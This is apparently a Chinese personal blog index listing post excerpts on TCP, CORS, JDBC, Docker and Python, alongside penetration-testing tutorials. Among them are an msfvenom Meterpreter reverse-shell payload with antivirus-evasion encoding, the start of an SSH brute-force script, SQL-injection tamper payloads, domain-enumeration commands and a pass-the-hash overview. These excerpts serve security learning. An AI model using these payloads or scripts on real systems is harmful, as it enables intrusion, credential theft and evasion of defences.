- 博客(48)
- 资源 (1)
- 收藏
- 关注
原创 TCP三次握手和四次挥手
首先来了解一下什么是TCP协议?传输控制协议(Transmission Control Protocol,TCP)提供一种面向连接的、可靠的字节流服务。面向连接意味着两个使用TCP的应用(通常来说是一个客户端和一个服务端)在彼此交换数据之前必须先建立一个TCP连接,同时TCP通过差错与流量控制确保在不可靠的网络中完成数据的正确传输。对于数据量大的传输以及要求可靠交付的应用程序来说,TCP是首选的传输方法
2023-05-16 23:59:53
369
原创 CORS跨域资源共享
跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出请求XMLHttpRequest(XHR),从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。则是在使用设定的请求方式请求数据前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源,只有验证为允许后才会再次发送一次请求用于数据传输。:在浏览器进行请求时,自动在请求头中添加Origin字段信息,服务端通过验证Origin字段来判断请求是否被允许,从而实现浏览器跨域资源访问。
2023-05-16 14:36:09
738
原创 哈希传递常用方法
随着人们的安全意识逐渐增强,企业内的服务器弱口令也逐渐减少,密码复杂度提高,当我们获取到服务器权限后,可以提取出用户密码hash,但多数情况下显然是难以解密出明文密码。这时候就需要用到内网hash传递技术了。哈希传递利用了NTLM认证机制的缺陷,可以直接利用密码hash值来进行NTLM认证。如果目标主机与我们提取到密码hash值的机器密码相同时,便可直接使用hash值来远程登录目标主机。
2023-05-13 09:50:48
559
原创 Java编程 JDBC连接Mysql数据库
8.0版本以上的jdbc使用‘com.mysql.cj.jdbc.Driver’驱动,运行结果如下。首先需要导入MySQL连接需要的jar包。JDBC连接数据库步骤参考上篇文章即可。
2022-12-09 15:03:42
198
原创 Java编程 JDBC连接Oracle数据库
JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。有了JDBC,向各种关系数据发送SQL语句就是一件很容易的事。换言之,有了JDBC API,就不必为访问Sybase数据库专门写一个程序,为访问oracle数据库又专门写一个程序。使开发人员能够更便捷的编写数据库应用程序。
2022-12-09 10:48:10
13014
原创 Form表单数据处理
浏览器端的数据采集主要依靠html的form表单来实现,form表单是包含一系列表单元素的区域,表单元素是允许用户在表单中输入信息的元素。常见的表单有文本域,下拉列表,单选框和复选框等。示例register.html 以上表单用来供用户输入信息注册信息,而接收到数据后,需要使用一个程序来处理数据,即使用post方法讲数据提交给register.php。示例register.php 以上程序使用$_post预定义变量接收来自html表单的数据,并进行简单的判断两次密码是否一致。
2022-12-03 21:16:57
362
原创 内网端口转发
在渗透过程中拿到主机权限后,下一步通常是进行内网横向,而企业内网在不出网的情况下,我们无法直接进行扫描、反弹shell等操作,这时候就需要搭建隧道来进行数据包转发,使我们能间接的与内网进行通信。...
2022-08-10 02:04:53
1062
原创 PDO预处理防御SQL注入
PDO可以被认作是一种通过编译SQL语句模板来运行SQL语句的机制。查询仅需解析(或预处理)一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划。对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度。通过使用预处理语句,可以避免重复分析/编译/优化周期。简言之,预处理语句占用更少的资源,因而运行得更快。 提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以
2022-04-07 00:19:50
6400
原创 数据提取-lxml模块
一、概述对html或xml形式的文本提取特定的内容,就需要我们掌握lxml模块的使用和xpath语法。lxml模块可以利用xpath规则语法,来快速的定位html\xml文档中特定元素以及获取节点信息(文本内容、属性值)xpath(xml path language)是一门在html\xml文档中查找信息的语言,可用来在html\xml文档中对元素和属性进行遍历。二、谷歌浏览器xpath helper插件的安装和使用在Chrome商店中...
2022-03-17 17:07:32
513
原创 tamper脚本&mysql爆破脚本编写
tamper概念: sqlmap的--tamper参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等。基本操作: 查看脚本:python sqlmap.py --list-tampers 使用脚本:python sqlmap.py --tamper=script_name...
2022-03-14 00:06:50
1004
原创 sqlmap中tamper的用法
sqlmap部分脚本用法说明1、apostrophemask.py适用数据库:ALL作用:将引号替换为utf-8,用于过滤单引号使用脚本前:tamper("1 AND '1'='1")使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%8712、base64encode.py适用数据库:ALL作用:替换base64编码使用脚本前:tamper("1' AND SLEEP(5)#")使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
2022-03-09 17:11:52
10770
原创 kerberos认证协议
kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。kerberos和NTLM的区别:在kerberos之前,Microsoft使用一种称为NTLM...
2022-03-07 23:42:21
1591
原创 NTLM认证
NTLM(NT LAN MANAGER)是一种网络认证协议,它是基于挑战(Challenge)/响应(Response)认证机制的一种认证模式。NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中(kerberos用在域模式下)。在AD域环境中,如果需要认证Windows NT系统,也必须采用NTLM。NTLM协议的认证过程分为三步:1、协商:主要用于确认双方协议版本(NTLM v1/NTLM v2)2、质询:就是挑战/响应认证机制起作用
2022-03-06 23:09:14
10830
1
原创 Windows本地认证
在本地登陆Windows的情况下,操作系统会使用用户输入的密码作为凭证去与系统中的密码进行验证,操作系统中的密码存储文件是什么?位置在哪里?%SystemRoot%\system32\config\samWindows本地认证流程:winlogon.exe ==> 接收用户输入 ==> lsass.exe ==> 认证首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这.
2022-03-06 16:07:52
4727
原创 域内信息收集
以下列举常用信息收集,包括但不限于此。查询域:net view /domain查询域内所有计算机:net view /domain:domain_name查询域内所有用户组列表:net group /domain查询域控:net group "domain controllers" /domain查询域当前时间:net time /domain查询域用户列表:net...
2022-03-06 15:38:21
518
原创 常见的几种免杀方法
攻击机kali:192.168.1.11 靶机Windows7:192.168.1.181、自编码免杀msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe开启本地监听并在靶机运行木马,shell反弹成功,木马程序正常使用微步沙箱检测结果,检出率近一半,效果一般...
2022-03-05 22:25:16
6577
1
原创 BeautifulSoup4基本用法(十六)
beautifulsoup是一个可以从HTML或XML文件中提取数据的python库。它能够通过你喜欢的转换器实现惯用的文档导航、查找、修改文档的方式。beautifulsoup会帮你节省数小时甚至数天的工作时间。根节点:最外层标签 子节点:相对来说,当前标签的下一层级的节点 父节点:相对来说,当前标签的上一层级的节点 子孙节点:相对来说,当前标签的下面的节点 父辈节点:相对来说,当前标签的上面的节点 兄弟节点:同一层级的节点以下面这段字符为例来演示beautifulsoup的基本使用方法
2022-02-27 20:37:15
487
原创 Harbor企业级私有镜像仓库搭建(保姆级教程)
Harbor是VMware公司开源的企业级Registry项目,可以帮助用户快速搭建一个企业级的镜像仓库。harbor由python语言开发,需要使用docker-compose工具进行启动。1、设置harbor服务器主机名为harbor.cn[root@localhost ~]# hostnamectl set-hostname harbor.cn2、关闭harbor服务器防火墙、禁用SELinux[root@localhost ~]# systemctl stop f...
2022-02-26 17:03:05
1223
原创 端口映射与容器互联
在实际中,经常会碰到需要多个服务组件容器共同协作的情况,这往往需要多个容器之间能够互相访问到对方的服务。Docker除了通过网络访问外,还提供了两个很方便的功能来满足服务访问的基本需求:一是允许映射容器内应用的服务端口到本地宿主机;另一个是互联机制实现多个容器间通过容器名来快速访问。一、端口映射实现容器访问当启动容器时,如果不指定对应参数,在容器外部是无法通过网络来访问容器内的网络应用和服务的。当容器中运行着某些网络应用,要让外部访问这些应用时,可以通过-P或者-p参...
2022-02-25 19:37:48
496
原创 shell脚本
在IT环境维护中,为了提高工作效率,减少因为手工操作出现的错误,我们常选择使用脚本处理大量重复性工作。shell是Linux中最常用的脚本语言,使用shell脚本可以实现针对性的自动化运维。在计算机中,用户是无法直接与硬件或内核交互的,用户一般通过应用程序发送指令给内核,内核在收到指令后分析用户需求,调度硬件资源来完成操作。在Linux系统中,这个应用程序就是shell。shell是一种具备特殊功能的程序,处于用户和内核之间,提供用户与内核进行交互的接口。shell...
2022-02-25 14:36:13
529
原创 docker容器常见重要操作
容器是docker的另一个核心概念,简单来说,容器是镜像的一个运行实例。所不同的是,镜像是静态的可读文件,而容器是带有运行时需要的可写文件层。下面介绍容器的一些重要操作,包括创建、启动、终止、进入容器内执行操作、删除容器和通过导入导出来实现容器迁移等。1、查看容器列表2、使用交互运行的方式运行容器,若不指定容器名称则为随机名称。加入参数-d后台运行,up为启动状态,exited则是没有启动Options Mean -i 以交互模式运行容器,通常与 -t...
2022-02-24 23:17:39
887
原创 Docker镜像常见操作
镜像主要分为两类:1、操作系统类(如centos、Ubuntu)2、应用程序类若我们需要某个应用程序,可以单独拉取应用程序镜像,并运行镜像成为容器,从而使用应用程序服务。我们需要一个操作系统,就可以使用操作系统的镜像,在操作系统之上也可以再按照所需应用程序。查看镜像列表docker images同一仓库源可以有多个TAG,代表这个仓库源的不同版本,如Ubuntu仓库源里,有15.10、14.04等多个不同的版本,我们使用REPOSITORY:TAG来定义不同的镜像。搜索镜像通过官..
2022-02-24 21:58:35
245
原创 Docker安装
Docker是基于Linux内置的Namespace和CGroup等系统内隔离机制而抽象出来的一种轻虚拟化技术。与虚拟机相比,它以一种轻量级的方式实现了运行空间的隔离。不难理解,Docker并不能基于一种内核(Linux)提供另一种内核(Windows)的虚拟化运行环境。所以,基于Linux的Docker是不支持运行Windows应用的,Docker只能在Linux环境下安装(可选择在宿主机安装,也可以选择在虚拟机安装)。一、环境准备关闭防火墙[root@localhost ~]# syste
2022-02-24 12:40:07
380
原创 镜像、容器和仓库
一、为什么引进容器技术虚拟化技术可以在宿主机上安装多个不同的操作系统,运行多套不同的应用。但可能就是为了运行一个Nginx,却还要在虚拟机里运行一个完整的操作系统、内核和其他无关程序,这种做法资源利用率不高。所以我们希望更多的关注应用程序本身,而不再分精力去关注操作系统与无关程序,操作系统内核直接与宿主机共享。二、容器技术的主要特点1、轻量:只打包了需要的bins/libs(命令和库文件)。与宿主机共享操作系统,直接使用宿主机的内核。2、部署快...
2022-02-24 10:45:36
3660
原创 CentOS7.6操作系统初始化
配置服务器的主机名称[root@localhost ~]# hostnamectl set-hostname test.cn关闭防火墙、SELinux以及NetworkManager[root@localhost ~]# systemctl disable firewalld[root@localhost ~]# setenforce 0setenforce: SELinux is disabled[root@localhost ~]# systemctl stop NetworkMa
2022-02-23 23:42:22
625
原创 Lab1基于端口安全的xx公司网络组建
一、实验背景xx公司开发部为重要部门,所有员工使用指定的计算机工作,为防止员工或访客使用个人电脑接入网络,将使用基于端口安全策略组建开发部网络。具体要求如下:1、开发部采用了华为可网管交换机作为接入设备;2、出于安全的考虑,需在交换机的端口上绑定指定计算机的MAC地址,防止非法计算机的接入;3、计算机的IP、MAC和接入交换机的端口信息如拓扑所示。PC1:IP地址 10.1.1.1/24 MAC地址 54-89-98-24-2F-4...
2022-02-23 19:20:19
365
原创 何为云计算
一、云计算的概述云计算是一种利用互联网实现随时随地、按需、便捷地使用共享计算设施、存储设备、应用程序资源的计算模式,使用者按需购买付费使用。为什么企业都希望把资源迁移到云上?云的优势:提高资源利用率,将资源打包做成服务给用户使用。云计算是分布式计算的一种,指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序,然后,通过多部服务器组成的系统进行处理和分析这些小程序得到结果并返回给用户。通过这项技术,可以在很短的时间内(几秒钟)完成对数以万计...
2022-02-22 23:24:15
1276
原创 FTP主/被动模式
一、概述文件传输协议(Flie Transfer Protocol)是用于在网络上进行文件传输的一套标准协议,它工作在OSI模型的第七层,TCP/IP模型的第四层,即应用层,使用TCP传输而不是UDP,客户端在和服务器建立连接前要经过‘三次握手’的过程,保证客户与服务器之间的连接是可靠的,而且是面向连接的,为数据传输提供可靠保证。FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而,用户并不真正登陆到自己想要存取的计算机上而成为完全用户,可用FTP程序访问远程资源
2022-02-22 16:38:19
3387
原创 正则表达式及re模块的用法(十五)
一、什么是正则表达式?正则表达式在计算机科学中,是指一个用来描述或者匹配一系列符合某个句法规则的字符串的单个字符串。在很多文本编辑器或其他工具里,正则表达式通常被用来检索/替换那些符合某个模式的文本内容。许多程序设计语言都支持利用正则表达式进行字符串操作。二、正则表达式匹配规则 语法 说明 实例 结果 一般字符 匹配字符本身 abc
2022-02-22 11:25:30
325
原创 SSH爆破脚本编写(十三)
利用之前所学的paramiko模块来编写ssh爆破脚本,有手就行!环境:本地kali虚拟机,账户字典u.txt,密码字典p.txt完整代码import paramikoif __name__ == '__main__': client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy) user = open('./u.txt') use.
2022-02-21 14:27:02
1232
原创 SyntaxError: (unicode error) ‘unicodeescape‘ codec can‘t decode bytes in position 2-3: truncated \UX
在写上篇文章时发现了这个问题,拿出来给大家避雷。上文Windows下路径如下,而在python中反斜杠表转义,\t为TAB,所以出现了语法错误的问题。E:\Users\Desktop\test.txt拓展 转义字符 意义 ASCII码值(十进制) \a 响铃(BEL) 007 \b 退格(BS) ,将当前位置移到前一列 ..
2022-02-21 13:49:51
78
原创 paramiko模块使用方法(十二)
一、实现SSH登陆import paramikoif __name__ == '__main__': client = paramiko.SSHClient() #新建ssh对象 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #自动添加认证策略 client.connect(hostname='10.50.10.150',port=22,username='kali',password='kali'
2022-02-21 13:22:49
1689
原创 用python编写主机存活探测脚本(十一)
由于最近家里的wifi时不时的会卡顿,我就想着吧看看是不是有人偷网了,这不刚好可以写个简单的脚本练练手顺便复习一下前面的内容!完整代码import subprocessimport queueimport threadingfrom ipaddress import IPv4Networkdef Scan(ip): result = subprocess.run(f'ping -w 1 -n 1 {ip}',stdin=subprocess.PIPE,stdout=subpr
2022-02-20 16:44:49
784
1
原创 死锁案例(十)
每个线程都有自己锁,当试图获取对方的锁时,产生死锁import threading #导入线程模块mutex = threading.Lock() #创建锁def index(num): mutex.acquire() #锁定资源 l = [1,2,3,4] if len(l) < num: print('error') mutex.release() #超出列表则报错并释放锁 return print(l[nu
2022-02-20 15:21:38
244
原创 华为防火墙ping不通?看这里你就会了
网络拓扑图可以看到华为默认接口存在默认IP地址192.168.0.1/24那么我们就配置PC1地址如下ping连接测试毫无问题接着在防火墙GE 1/0/0接口配上IP地址PC2如下配置然而ping测试却不通同样是直连,为什么一边通一边不通?我们来检查一下防火墙配置,发现默认接口下配置了允许多个服务通过,并且接口加入到了安全区域trust。我们给另一边接口也开启ping服务并且加入安全区域[USG6000V1]interface g1/0...
2022-02-20 14:16:32
22796
1
原创 核心交换机同一VLAN不同网段如何通信?
交换机的三层接口可配置多个IP地址,即一个主IP地址,其余均为从IP地址,至多配置255个从IP地址。网络拓扑基本配置LSW1[LSW1]interface Vlanif 1 [LSW1-Vlanif1]ip address 10.0.0.254 24[LSW1-Vlanif1]ip address 10.0.1.254 24 sub #配置从IP地址[LSW1]interface g0/0/1[LSW1-GigabitEthernet0/0/1]port link-type
2022-02-20 13:21:16
8489
原创 多进程与多线程(九)
一、进程的概念简单来说一个正在运行的程序或者软件就是一个进程,它是操作系统进行资源分配的基本单位,也就是所每启动一个进程,操作系统都会给其分配一定的运行资源(内存资源)保证进程的运行。ps:一个程序运行后至少产生一个进程,一个进程默认有一个线程,进程里可以创建多个线程,线程是依附在进程里的,没有进程就没有线程。1、process进程类的说明Process([group [, target [, name [, args [, kwargs]]]]]) group:指定进程组,目前只.
2022-02-19 23:29:48
182
原创 用python写一个NC(八)
基于TCP连接的远程控制木马一、subprocess模块 subprocess模块允许我们启动一个新进程,并连接至它们的标准输入/输出/错误管道,从而获取返回值。二、argparse模块 argparse是python用于解析命令行参数和选项的标准模块,作用相当于是解析命令行参数。 基本用法步骤import argparse #导入模块parse = argparse.ArgumentParser() #创建解析对象parse.add...
2022-02-19 19:24:57
1712
原创 socket网络编程(七)
一、socket概念socket(简称套接字)是进程间通信的一种方式,它与其他进程间通信的一个主要不同是:它能实现不同主机间的进程间通信,我们网络上各种各样的服务大多都是基于socket来完成通信的,例如常用的浏览网页、qq聊天、收发邮件等等。二、创建socket在环境中使用socket模块的socket函数就能创建一个socketimport socketsocket.socket(AddressFamily,Type)其中带有两个参数:AddressFamily:可以选择
2022-02-17 17:53:38
638
针对安全从业者的面试指南
2022-02-12
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人